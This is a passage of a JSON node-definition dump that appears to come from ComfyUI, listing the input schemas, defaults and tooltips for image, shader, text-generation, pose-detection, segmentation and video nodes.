the shader code", "template": {"input": {"required": {"int": ["INT", {"default": 0, "forceInput": true}]}}, "prefix": "u_int", "min": 0, "max": 20}}], "bools": ["COMFY_AUTOGROW_V3", {"tooltip": "Booleans are available as u_bool0-9 (bool) in the shader code", "template": {"input": {"required": {"bool": ["BOOLEAN", {"default": false, "forceInput": true}]}}, "prefix": "u_bool", "min": 0, "max": 10}}], "curves": ["COMFY_AUTOGROW_V3", {"tooltip": "Curves are available as u_curve0-3 (sampler2D, 1D LUT) in the shader code. Sample with texture(u_curve0, vec2(x, 0.5)).r", "template": {"input": {"required": {"curve": ["CURVE", {"default": {"points": [[0.0, 0.0], [1.0, 1.0]], "interpolation": "monotone_cubic"}, "socketless": true, "forceInput": true}]}}, "prefix": "u_curve", "min": 0, "max": 4}}]}}, "input_order": {"required": ["fragment_shader", "size_mode", "images", "floats", "ints", "bools", "curves"]}, "is_input_list": false, "output": ["IMAGE", "IMAGE", "IMAGE", "IMAGE"], "output_is_list": [false, false, false, false], "output_name": ["IMAGE0", "IMAGE1", "IMAGE2", "IMAGE3"], "output_tooltips": ["Available via layout(location = 0) out vec4 fragColor0 in the shader code", "Available via layout(location = 1) out vec4 fragColor1 in the shader code", "Available via layout(location = 2) out vec4 fragColor2 in the shader code", "Available via layout(location = 3) out vec4 fragColor3 in the shader code"], "output_matchtypes": null, "name": "GLSLShader", "display_name": "GLSL Shader", "description": "Apply GLSL ES fragment shaders to images. u_resolution (vec2) is always available.", "python_module": "comfy_extras.nodes_glsl", "category": "image/shader", "output_node": false, "deprecated": false, "experimental": true, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": null, "essentials_category": null, "has_intermediate_output": true}, "LoraLoaderBypass": {"input": {"required": {"model": ["MODEL", {"tooltip": "The diffusion model the LoRA will be applied to."}], "clip": ["CLIP", {"tooltip": "The CLIP model the LoRA will be applied to."}], "lora_name": [[], {"tooltip": "The name of the LoRA."}], "strength_model": ["FLOAT", {"default": 1.0, "min": -100.0, "max": 100.0, "step": 0.01, "tooltip": "How strongly to modify the diffusion model. This value can be negative."}], "strength_clip": ["FLOAT", {"default": 1.0, "min": -100.0, "max": 100.0, "step": 0.01, "tooltip": "How strongly to modify the CLIP model. This value can be negative."}]}}, "input_order": {"required": ["model", "clip", "lora_name", "strength_model", "strength_clip"]}, "is_input_list": false, "output": ["MODEL", "CLIP"], "output_is_list": [false, false], "output_name": ["MODEL", "CLIP"], "name": "LoraLoaderBypass", "display_name": "Load LoRA (Bypass) (For debugging)", "description": "Apply LoRA in bypass mode. Unlike regular LoRA, this doesn't modify model weights - instead it injects the LoRA computation during forward pass. Useful for training scenarios.", "python_module": "comfy_extras.nodes_lora_debug", "category": "model/loaders", "output_node": false, "has_intermediate_output": false, "output_tooltips": ["The modified diffusion model.", "The modified CLIP model."], "experimental": true, "search_aliases": []}, "LoraLoaderBypassModelOnly": {"input": {"required": {"model": ["MODEL"], "lora_name": [[]], "strength_model": ["FLOAT", {"default": 1.0, "min": -100.0, "max": 100.0, "step": 0.01}]}}, "input_order": {"required": ["model", "lora_name", "strength_model"]}, "is_input_list": false, "output": ["MODEL"], "output_is_list": [false], "output_name": ["MODEL"], "name": "LoraLoaderBypassModelOnly", "display_name": "Load LoRA (Bypass, Model Only) (for debugging)", "description": "Apply LoRA in bypass mode. Unlike regular LoRA, this doesn't modify model weights - instead it injects the LoRA computation during forward pass. Useful for training scenarios.", "python_module": "comfy_extras.nodes_lora_debug", "category": "model/loaders", "output_node": false, "has_intermediate_output": false, "output_tooltips": ["The modified diffusion model.", "The modified CLIP model."], "experimental": true, "search_aliases": []}, "TextGenerate": {"input": {"required": {"clip": ["CLIP", {}], "prompt": ["STRING", {"default": "", "multiline": true, "dynamicPrompts": true}], "max_length": ["INT", {"default": 512, "min": 1, "max": 32768}], "sampling_mode": ["COMFY_DYNAMICCOMBO_V3", {"display_name": "Sampling Mode", "options": [{"key": "on", "inputs": {"required": {"temperature": ["FLOAT", {"default": 0.7, "min": 0.01, "max": 2.0, "step": 1e-06}], "top_k": ["INT", {"default": 64, "min": 0, "max": 1000}], "top_p": ["FLOAT", {"default": 0.95, "min": 0.0, "max": 1.0, "step": 0.01}], "min_p": ["FLOAT", {"default": 0.05, "min": 0.0, "max": 1.0, "step": 0.01}], "repetition_penalty": ["FLOAT", {"default": 1.05, "min": 0.0, "max": 5.0, "step": 0.01}], "seed": ["INT", {"default": 0, "min": 0, "max": 18446744073709551615}]}, "optional": {"presence_penalty": ["FLOAT", {"default": 0.0, "min": 0.0, "max": 5.0, "step": 0.01}]}}}, {"key": "off", "inputs": {"required": {}}}]}]}, "optional": {"image": ["IMAGE", {}], "video": ["IMAGE", {"tooltip": "Video frames as image batch. Assumed to be 24 FPS; subsampled to 1 FPS internally."}], "audio": ["AUDIO", {}], "thinking": ["BOOLEAN", {"tooltip": "Operate in thinking mode if the model supports it.", "default": false}], "use_default_template": ["BOOLEAN", {"tooltip": "Use the built in system prompt/template if the model has one.", "advanced": true, "default": true}]}}, "input_order": {"required": ["clip", "prompt", "max_length", "sampling_mode"], "optional": ["image", "video", "audio", "thinking", "use_default_template"]}, "is_input_list": false, "output": ["STRING"], "output_is_list": [false], "output_name": ["generated_text"], "output_tooltips": [null], "output_matchtypes": null, "name": "TextGenerate", "display_name": "Generate Text", "description": "", "python_module": "comfy_extras.nodes_textgen", "category": "text", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": ["LLM", "gemma"], "essentials_category": null, "has_intermediate_output": false}, "TextGenerateLTX2Prompt": {"input": {"required": {"clip": ["CLIP", {}], "prompt": ["STRING", {"default": "", "multiline": true, "dynamicPrompts": true}], "max_length": ["INT", {"default": 512, "min": 1, "max": 32768}], "sampling_mode": ["COMFY_DYNAMICCOMBO_V3", {"display_name": "Sampling Mode", "options": [{"key": "on", "inputs": {"required": {"temperature": ["FLOAT", {"default": 0.7, "min": 0.01, "max": 2.0, "step": 1e-06}], "top_k": ["INT", {"default": 64, "min": 0, "max": 1000}], "top_p": ["FLOAT", {"default": 0.95, "min": 0.0, "max": 1.0, "step": 0.01}], "min_p": ["FLOAT", {"default": 0.05, "min": 0.0, "max": 1.0, "step": 0.01}], "repetition_penalty": ["FLOAT", {"default": 1.05, "min": 0.0, "max": 5.0, "step": 0.01}], "seed": ["INT", {"default": 0, "min": 0, "max": 18446744073709551615}]}, "optional": {"presence_penalty": ["FLOAT", {"default": 0.0, "min": 0.0, "max": 5.0, "step": 0.01}]}}}, {"key": "off", "inputs": {"required": {}}}]}]}, "optional": {"image": ["IMAGE", {}], "video": ["IMAGE", {"tooltip": "Video frames as image batch. Assumed to be 24 FPS; subsampled to 1 FPS internally."}], "audio": ["AUDIO", {}], "thinking": ["BOOLEAN", {"tooltip": "Operate in thinking mode if the model supports it.", "default": false}], "use_default_template": ["BOOLEAN", {"tooltip": "Use the built in system prompt/template if the model has one.", "advanced": true, "default": true}]}}, "input_order": {"required": ["clip", "prompt", "max_length", "sampling_mode"], "optional": ["image", "video", "audio", "thinking", "use_default_template"]}, "is_input_list": false, "output": ["STRING"], "output_is_list": [false], "output_name": ["generated_text"], "output_tooltips": [null], "output_matchtypes": null, "name": "TextGenerateLTX2Prompt", "display_name": "Generate LTX2 Prompt", "description": "", "python_module": "comfy_extras.nodes_textgen", "category": "text", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": ["prompt enhance", "LLM", "gemma"], "essentials_category": null, "has_intermediate_output": false}, "ColorToRGBInt": {"input": {"required": {"color": ["COLOR", {"default": "#ffffff", "socketless": true}]}}, "input_order": {"required": ["color"]}, "is_input_list": false, "output": ["INT", "COLOR"], "output_is_list": [false, false], "output_name": ["rgb_int", "hex"], "output_tooltips": [null, null], "output_matchtypes": null, "name": "ColorToRGBInt", "display_name": "Color Picker", "description": "Return a color RGB integer value and hexadecimal representation.", "python_module": "comfy_extras.nodes_color", "category": "utilities", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "CreateList": {"input": {"required": {"inputs": ["COMFY_AUTOGROW_V3", {"template": {"input": {"required": {"input": ["COMFY_MATCHTYPE_V3", {"template": {"template_id": "type", "allowed_types": "*"}}]}}, "prefix": "input", "min": 1, "max": 10}}]}}, "input_order": {"required": ["inputs"]}, "is_input_list": true, "output": ["COMFY_MATCHTYPE_V3"], "output_is_list": [true], "output_name": ["list"], "output_tooltips": [null], "output_matchtypes": ["type"], "name": "CreateList", "display_name": "Create List", "description": "", "python_module": "comfy_extras.nodes_toolkit", "category": "utilities", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": ["Image Iterator", "Text Iterator", "Iterator"], "essentials_category": null, "has_intermediate_output": false}, "NAGuidance": {"input": {"required": {"model": ["MODEL", {"tooltip": "The model to apply NAG to."}], "nag_scale": ["FLOAT", {"tooltip": "The guidance scale factor. Higher values push further from the negative prompt.", "default": 5.0, "min": 0.0, "max": 50.0, "step": 0.1}], "nag_alpha": ["FLOAT", {"tooltip": "Blending factor for the normalized attention. 1.0 is full replacement, 0.0 is no effect.", "default": 0.5, "min": 0.0, "max": 1.0, "step": 0.01}], "nag_tau": ["FLOAT", {"default": 1.5, "min": 1.0, "max": 10.0, "step": 0.01}]}}, "input_order": {"required": ["model", "nag_scale", "nag_alpha", "nag_tau"]}, "is_input_list": false, "output": ["MODEL"], "output_is_list": [false], "output_name": ["MODEL"], "output_tooltips": ["The patched model with NAG enabled."], "output_matchtypes": null, "name": "NAGuidance", "display_name": "Normalized Attention Guidance", "description": "Applies Normalized Attention Guidance to models, enabling negative prompts on distilled/schnell models.", "python_module": "comfy_extras.nodes_nag", "category": "advanced/guidance", "output_node": false, "deprecated": false, "experimental": true, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "SDPoseKeypointExtractor": {"input": {"required": {"model": ["MODEL", {}], "vae": ["VAE", {}], "image": ["IMAGE", {}], "batch_size": ["INT", {"default": 16, "min": 1, "max": 10000, "step": 1}]}, "optional": {"bboxes": ["BOUNDING_BOX", {"tooltip": "Optional bounding boxes for more accurate detections. Required for multi-person detection.", "default": {"x": 0, "y": 0, "width": 512, "height": 512}, "socketless": true, "forceInput": true}]}}, "input_order": {"required": ["model", "vae", "image", "batch_size"], "optional": ["bboxes"]}, "is_input_list": false, "output": ["POSE_KEYPOINT"], "output_is_list": [false], "output_name": ["keypoints"], "output_tooltips": ["Keypoints in OpenPose frame format (canvas_width, canvas_height, people)"], "output_matchtypes": null, "name": "SDPoseKeypointExtractor", "display_name": "SDPose Keypoint Extractor", "description": "Extract pose keypoints from images using the SDPose model: https://huggingface.co/Comfy-Org/SDPose/tree/main/checkpoints", "python_module": "comfy_extras.nodes_sdpose", "category": "image/detection", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": ["openpose", "pose detection", "preprocessor", "keypoints", "sdpose"], "essentials_category": null, "has_intermediate_output": false}, "SDPoseDrawKeypoints": {"input": {"required": {"keypoints": ["POSE_KEYPOINT", {}], "draw_body": ["BOOLEAN", {"default": true}], "draw_hands": ["BOOLEAN", {"default": true}], "draw_face": ["BOOLEAN", {"default": true}], "draw_feet": ["BOOLEAN", {"default": false}], "stick_width": ["INT", {"default": 4, "min": 1, "max": 10, "step": 1}], "face_point_size": ["INT", {"default": 3, "min": 1, "max": 10, "step": 1}], "score_threshold": ["FLOAT", {"default": 0.3, "min": 0.0, "max": 1.0, "step": 0.01}], "draw_head": ["BOOLEAN", {"default": true}]}}, "input_order": {"required": ["keypoints", "draw_body", "draw_hands", "draw_face", "draw_feet", "stick_width", "face_point_size", "score_threshold", "draw_head"]}, "is_input_list": false, "output": ["IMAGE"], "output_is_list": [false], "output_name": ["IMAGE"], "output_tooltips": [null], "output_matchtypes": null, "name": "SDPoseDrawKeypoints", "display_name": "SDPose Draw Keypoints", "description": "", "python_module": "comfy_extras.nodes_sdpose", "category": "image/detection", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": ["openpose", "pose detection", "preprocessor", "keypoints", "pose"], "essentials_category": null, "has_intermediate_output": false}, "SDPoseFaceBBoxes": {"input": {"required": {"keypoints": ["POSE_KEYPOINT", {}], "scale": ["FLOAT", {"tooltip": "Multiplier for the bounding box area around each detected face.", "default": 1.5, "min": 1.0, "max": 10.0, "step": 0.1}], "force_square": ["BOOLEAN", {"tooltip": "Expand the shorter bbox axis so the crop region is always square.", "default": true}]}}, "input_order": {"required": ["keypoints", "scale", "force_square"]}, "is_input_list": false, "output": ["BOUNDING_BOX"], "output_is_list": [false], "output_name": ["bboxes"], "output_tooltips": ["Face bounding boxes per frame, compatible with SDPoseKeypointExtractor bboxes input."], "output_matchtypes": null, "name": "SDPoseFaceBBoxes", "display_name": "SDPose Face Bounding Boxes", "description": "", "python_module": "comfy_extras.nodes_sdpose", "category": "image/detection", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": ["face bbox", "face bounding box", "pose", "keypoints"], "essentials_category": null, "has_intermediate_output": false}, "CropByBBoxes": {"input": {"required": {"image": ["IMAGE", {}], "bboxes": ["BOUNDING_BOX", {"default": {"x": 0, "y": 0, "width": 512, "height": 512}, "socketless": true, "forceInput": true}], "output_width": ["INT", {"tooltip": "Width each crop is resized to.", "default": 512, "min": 64, "max": 4096, "step": 8}], "output_height": ["INT", {"tooltip": "Height each crop is resized to.", "default": 512, "min": 64, "max": 4096, "step": 8}], "padding": ["INT", {"tooltip": "Extra padding in pixels added on each side of the bbox before cropping.", "default": 0, "min": 0, "max": 1024, "step": 1}], "keep_aspect": ["COMBO", {"tooltip": "Whether to stretch the crop to fit the output size, or pad with black pixels to preserve aspect ratio.", "default": "stretch", "multiselect": false, "options": ["stretch", "pad"]}]}}, "input_order": {"required": ["image", "bboxes", "output_width", "output_height", "padding", "keep_aspect"]}, "is_input_list": false, "output": ["IMAGE"], "output_is_list": [false], "output_name": ["IMAGE"], "output_tooltips": ["All crops stacked into a single image batch."], "output_matchtypes": null, "name": "CropByBBoxes", "display_name": "Crop By Bounding Boxes", "description": "Crop and resize regions from the input image batch based on provided bounding boxes.", "python_module": "comfy_extras.nodes_sdpose", "category": "image/transform", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": ["crop", "face crop", "bbox crop", "pose", "bounding box"], "essentials_category": null, "has_intermediate_output": false}, "ComfyMathExpression": {"input": {"required": {"expression": ["STRING", {"default": "a + b", "multiline": true}], "values": ["COMFY_AUTOGROW_V3", {"template": {"input": {"required": {"value": ["FLOAT,INT,BOOLEAN", {}]}}, "names": ["a", "b", "c", "d", "e", "f", "g", "h", "i", "j", "k", "l", "m", "n", "o", "p", "q", "r", "s", "t", "u", "v", "w", "x", "y", "z"], "min": 1}}]}}, "input_order": {"required": ["expression", "values"]}, "is_input_list": false, "output": ["FLOAT", "INT", "BOOLEAN"], "output_is_list": [false, false, false], "output_name": ["FLOAT", "INT", "BOOL"], "output_tooltips": [null, null, null], "output_matchtypes": null, "name": "ComfyMathExpression", "display_name": "Math Expression", "description": "", "python_module": "comfy_extras.nodes_math", "category": "utilities", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": ["expression", "formula", "calculate", "calculator", "eval", "math"], "essentials_category": null, "has_intermediate_output": false}, "ComfyNumberConvert": {"input": {"required": {"value": ["INT,FLOAT,STRING,BOOLEAN", {"display_name": "value"}]}}, "input_order": {"required": ["value"]}, "is_input_list": false, "output": ["FLOAT", "INT"], "output_is_list": [false, false], "output_name": ["FLOAT", "INT"], "output_tooltips": [null, null], "output_matchtypes": null, "name": "ComfyNumberConvert", "display_name": "Convert Number", "description": "", "python_module": "comfy_extras.nodes_number_convert", "category": "utilities", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": ["int to float", "float to int", "number convert", "int2float", "float2int", "cast", "parse number", "string to number", "bool to int"], "essentials_category": null, "has_intermediate_output": false}, "Painter": {"input": {"required": {"mask": ["STRING", {"widgetType": "PAINTER", "image_upload": true, "default": "", "socketless": true, "multiline": false}], "width": ["INT", {"hidden": true, "default": 512, "socketless": true, "min": 64, "max": 4096, "step": 64}], "height": ["INT", {"hidden": true, "default": 512, "socketless": true, "min": 64, "max": 4096, "step": 64}], "bg_color": ["COLOR", {"default": "#000000", "socketless": true}]}, "optional": {"image": ["IMAGE", {"tooltip": "Optional base image to paint over"}]}}, "input_order": {"required": ["mask", "width", "height", "bg_color"], "optional": ["image"]}, "is_input_list": false, "output": ["IMAGE", "MASK"], "output_is_list": [false, false], "output_name": ["IMAGE", "MASK"], "output_tooltips": [null, null], "output_matchtypes": null, "name": "Painter", "display_name": "Painter", "description": "", "python_module": "comfy_extras.nodes_painter", "category": "image", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": null, "essentials_category": null, "has_intermediate_output": true}, "CurveEditor": {"input": {"required": {"curve": ["CURVE", {"default": {"points": [[0.0, 0.0], [1.0, 1.0]], "interpolation": "monotone_cubic"}, "socketless": true}]}, "optional": {"histogram": ["HISTOGRAM", {}]}}, "input_order": {"required": ["curve"], "optional": ["histogram"]}, "is_input_list": false, "output": ["CURVE"], "output_is_list": [false], "output_name": ["curve"], "output_tooltips": [null], "output_matchtypes": null, "name": "CurveEditor", "display_name": "Curve Editor", "description": "", "python_module": "comfy_extras.nodes_curve", "category": "utilities", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "ImageHistogram": {"input": {"required": {"image": ["IMAGE", {}]}}, "input_order": {"required": ["image"]}, "is_input_list": false, "output": ["HISTOGRAM", "HISTOGRAM", "HISTOGRAM", "HISTOGRAM", "HISTOGRAM"], "output_is_list": [false, false, false, false, false], "output_name": ["rgb", "luminance", "red", "green", "blue"], "output_tooltips": [null, null, null, null, null], "output_matchtypes": null, "name": "ImageHistogram", "display_name": "Image Histogram", "description": "", "python_module": "comfy_extras.nodes_curve", "category": "utilities", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "LoadBackgroundRemovalModel": {"input": {"required": {"bg_removal_name": ["COMBO", {"tooltip": "The model used to remove backgrounds from images", "multiselect": false, "options": []}]}}, "input_order": {"required": ["bg_removal_name"]}, "is_input_list": false, "output": ["BACKGROUND_REMOVAL"], "output_is_list": [false], "output_name": ["bg_model"], "output_tooltips": [null], "output_matchtypes": null, "name": "LoadBackgroundRemovalModel", "display_name": "Load Background Removal Model", "description": "", "python_module": "comfy_extras.nodes_bg_removal", "category": "model/loaders", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "RemoveBackground": {"input": {"required": {"bg_removal_model": ["BACKGROUND_REMOVAL", {"tooltip": "Background removal model used to generate the mask"}], "image": ["IMAGE", {"tooltip": "Input image to remove the background from"}]}}, "input_order": {"required": ["bg_removal_model", "image"]}, "is_input_list": false, "output": ["MASK"], "output_is_list": [false], "output_name": ["mask"], "output_tooltips": ["Generated foreground mask"], "output_matchtypes": null, "name": "RemoveBackground", "display_name": "Remove Background", "description": "Generates a foreground mask to remove the background from an image using a background removal model.", "python_module": "comfy_extras.nodes_bg_removal", "category": "image/background removal", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "RTDETR_detect": {"input": {"required": {"model": ["MODEL", {"display_name": "model"}], "image": ["IMAGE", {"display_name": "image"}], "threshold": ["FLOAT", {"display_name": "threshold", "default": 0.5}], "class_name": ["COMBO", {"tooltip": "Filter detections by class. Set to 'all' to disable filtering.", "default": "all", "multiselect": false, "options": ["all", "person", "bicycle", "car", "motorcycle", "airplane", "bus", "train", "truck", "boat", "traffic light", "fire hydrant", "stop sign", "parking meter", "bench", "bird", "cat", "dog", "horse", "sheep", "cow", "elephant", "bear", "zebra", "giraffe", "backpack", "umbrella", "handbag", "tie", "suitcase", "frisbee", "skis", "snowboard", "sports ball", "kite", "baseball bat", "baseball glove", "skateboard", "surfboard", "tennis racket", "bottle", "wine glass", "cup", "fork", "knife", "spoon", "bowl", "banana", "apple", "sandwich", "orange", "broccoli", "carrot", "hot dog", "pizza", "donut", "cake", "chair", "couch", "potted plant", "bed", "dining table", "toilet", "tv", "laptop", "mouse", "remote", "keyboard", "cell phone", "microwave", "oven", "toaster", "sink", "refrigerator", "book", "clock", "vase", "scissors", "teddy bear", "hair drier", "toothbrush"]}], "max_detections": ["INT", {"display_name": "max_detections", "tooltip": "Maximum number of detections to return per image. In order of descending confidence score.", "default": 100}]}}, "input_order": {"required": ["model", "image", "threshold", "class_name", "max_detections"]}, "is_input_list": false, "output": ["BOUNDING_BOX"], "output_is_list": [false], "output_name": ["bboxes"], "output_tooltips": [null], "output_matchtypes": null, "name": "RTDETR_detect", "display_name": "Run Real-Time Detection (RT-DETR)", "description": "", "python_module": "comfy_extras.nodes_rtdetr", "category": "image/detection", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": ["bbox", "bounding box", "object detection", "coco"], "essentials_category": null, "has_intermediate_output": false}, "DrawBBoxes": {"input": {"required": {"bboxes": ["BOUNDING_BOX", {"default": {"x": 0, "y": 0, "width": 512, "height": 512}, "socketless": true, "forceInput": true}]}, "optional": {"image": ["IMAGE", {}]}}, "input_order": {"required": ["bboxes"], "optional": ["image"]}, "is_input_list": false, "output": ["IMAGE"], "output_is_list": [false], "output_name": ["out_image"], "output_tooltips": [null], "output_matchtypes": null, "name": "DrawBBoxes", "display_name": "Draw BBoxes", "description": "", "python_module": "comfy_extras.nodes_rtdetr", "category": "image/detection", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": ["bbox", "bounding box", "object detection", "rt_detr", "visualize detections", "coco"], "essentials_category": null, "has_intermediate_output": false}, "FrameInterpolationModelLoader": {"input": {"required": {"model_name": ["COMBO", {"tooltip": "Select a frame interpolation model to load. Models must be placed in the 'frame_interpolation' folder.", "multiselect": false, "options": []}]}}, "input_order": {"required": ["model_name"]}, "is_input_list": false, "output": ["INTERP_MODEL"], "output_is_list": [false], "output_name": ["INTERP_MODEL"], "output_tooltips": [null], "output_matchtypes": null, "name": "FrameInterpolationModelLoader", "display_name": "Load Frame Interpolation Model", "description": "", "python_module": "comfy_extras.nodes_frame_interpolation", "category": "model/loaders", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "FrameInterpolate": {"input": {"required": {"interp_model": ["INTERP_MODEL", {}], "images": ["IMAGE", {}], "multiplier": ["INT", {"default": 2, "min": 2, "max": 16}]}}, "input_order": {"required": ["interp_model", "images", "multiplier"]}, "is_input_list": false, "output": ["IMAGE"], "output_is_list": [false], "output_name": ["IMAGE"], "output_tooltips": [null], "output_matchtypes": null, "name": "FrameInterpolate", "display_name": "Run Frame Interpolation Model", "description": "", "python_module": "comfy_extras.nodes_frame_interpolation", "category": "video", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": ["rife", "film", "frame interpolation", "slow motion", "interpolate frames", "vfi"], "essentials_category": null, "has_intermediate_output": false}, "SAM3_Detect": {"input": {"required": {"model": ["MODEL", {"display_name": "model"}], "image": ["IMAGE", {"display_name": "image"}], "threshold": ["FLOAT", {"display_name": "threshold", "default": 0.5, "min": 0.0, "max": 1.0, "step": 0.01}], "refine_iterations": ["INT", {"display_name": "refine_iterations", "tooltip": "SAM decoder refinement passes (0=use raw detector masks)", "default": 2, "min": 0, "max": 5}], "individual_masks": ["BOOLEAN", {"display_name": "individual_masks", "tooltip": "Output per-object masks instead of union", "default": false}]}, "optional": {"conditioning": ["CONDITIONING", {"display_name": "conditioning", "tooltip": "Text conditioning from CLIPTextEncode"}], "bboxes": ["BOUNDING_BOX", {"display_name": "bboxes", "tooltip": "Bounding boxes to segment within", "default": {"x": 0, "y": 0, "width": 512, "height": 512}, "socketless": true, "forceInput": true}], "positive_coords": ["STRING", {"display_name": "positive_coords", "tooltip": "Positive point prompts as JSON [{\"x\": int, \"y\": int}, ...] (pixel coords)", "forceInput": true, "multiline": false}], "negative_coords": ["STRING", {"display_name": "negative_coords", "tooltip": "Negative point prompts as JSON [{\"x\": int, \"y\": int}, ...] (pixel coords)", "forceInput": true, "multiline": false}]}}, "input_order": {"required": ["model", "image", "threshold", "refine_iterations", "individual_masks"], "optional": ["conditioning", "bboxes", "positive_coords", "negative_coords"]}, "is_input_list": false, "output": ["MASK", "BOUNDING_BOX"], "output_is_list": [false, false], "output_name": ["masks", "bboxes"], "output_tooltips": [null, null], "output_matchtypes": null, "name": "SAM3_Detect", "display_name": "SAM3 Detect", "description": "", "python_module": "comfy_extras.nodes_sam3", "category": "image/detection", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": ["sam3", "segment anything", "open vocabulary", "text detection", "segment"], "essentials_category": null, "has_intermediate_output": false}, "SAM3_VideoTrack": {"input": {"required": {"images": ["IMAGE", {"display_name": "images", "tooltip": "Video frames as batched images"}], "model": ["MODEL", {"display_name": "model"}], "detection_threshold": ["FLOAT", {"display_name": "detection_threshold", "tooltip": "Score threshold for text-prompted detection.", "default": 0.5, "min": 0.0, "max": 1.0, "step": 0.01}], "max_objects": ["INT", {"display_name": "max_objects", "tooltip": "Max tracked objects. Initial masks count toward this limit. 0 uses the internal cap of 64.", "default": 4, "min": 0, "max": 64}], "detect_interval": ["INT", {"display_name": "detect_interval", "tooltip": "Run detection every N frames (1=every frame). Higher values save compute.", "default": 1, "min": 1}]}, "optional": {"initial_mask": ["MASK", {"display_name": "initial_mask", "tooltip": "Mask(s) for the first frame to track (one per object)"}], "conditioning": ["CONDITIONING", {"display_name": "conditioning", "tooltip": "Text conditioning for detecting new objects during tracking"}]}}, "input_order": {"required": ["images", "model", "detection_threshold", "max_objects", "detect_interval"], "optional": ["initial_mask", "conditioning"]}, "is_input_list": false, "output": ["SAM3_TRACK_DATA"], "output_is_list": [false], "output_name": ["track_data"], "output_tooltips": [null], "output_matchtypes": null, "name": "SAM3_VideoTrack", "display_name": "Run SAM3 Video Track", "description": "", "python_module": "comfy_extras.nodes_sam3", "category": "image/detection", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": ["sam3", "video", "track", "propagate"], "essentials_category": null, "has_intermediate_output": false}, "SAM3_TrackPreview": {"input": {"required": {"track_data": ["SAM3_TRACK_DATA", {"display_name": "track_data"}], "opacity": ["FLOAT", {"display_name": "opacity", "default": 0.5, "min": 0.0, "max": 1.0, "step": 0.05}], "fps": ["FLOAT", {"display_name": "fps", "default": 24.0, "min": 1.0, "max": 120.0, "step": 1.0}]}, "optional": {"images": ["IMAGE", {"display_name": "images"}]}, "hidden": {"prompt": ["PROMPT"], "extra_pnginfo": ["EXTRA_PNGINFO"]}}, "input_order": {"required": ["track_data", "opacity", "fps"], "optional": ["images"], "hidden": ["prompt", "extra_pnginfo"]}, "is_input_list": false, "output": [], "output_is_list": [], "output_name": [], "output_tooltips": [], "output_matchtypes": null, "name": "SAM3_TrackPreview", "display_name": "SAM3 Track Preview", "description": "", "python_module": "comfy_extras.nodes_sam3", "category": "image/detection", "output_node": true, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "SAM3_TrackToMask": {"input": {"required": {"track_data": ["SAM3_TRACK_DATA", {"display_name": "track_data"}], "object_indices": ["STRING", {"display_name": "object_indices", "tooltip": "Comma-separated object indices to include (e.g. '0,2,3'). Empty = all objects.", "default": "", "multiline": false}]}}, "input_order": {"required": ["track_data", "object_indices"]}, "is_input_list": false, "output": ["MASK"], "output_is_list": [false], "output_name": ["masks"], "output_tooltips": [null], "output_matchtypes": null, "name": "SAM3_TrackToMask", "display_name": "SAM3 Track to Mask", "description": "", "python_module": "comfy_extras.nodes_sam3", "category": "image/detection", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "WanSCAILToVideo": {"input": {"required": {"positive": ["CONDITIONING", {}], "negative": ["CONDITIONING", {}], "vae": ["VAE", {}], "width": ["INT", {"default": 512, "min": 32, "max": 16384, "step": 32}], "height": ["INT", {"default": 896, "min": 32, "max": 16384, "step": 32}], "length": ["INT", {"default": 81, "min": 1, "max": 16384, "step": 4}], "batch_size": ["INT", {"default": 1, "min": 1, "max": 4096}], "pose_strength": ["FLOAT", {"tooltip": "Strength of the pose latent.", "default": 1.0, "min": 0.0, "max": 10.0, "step": 0.01}], "pose_start": ["FLOAT", {"tooltip": "Start step of the pose conditioning.", "default": 0.0, "min": 0.0, "max": 1.0, "step": 0.01}], "pose_end": ["FLOAT", {"tooltip": "End step of the pose conditioning.", "default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "video_frame_offset": ["INT", {"tooltip": "Cumulative output frame this chunk begins at. Wire from the previous chunk's video_frame_offset output.", 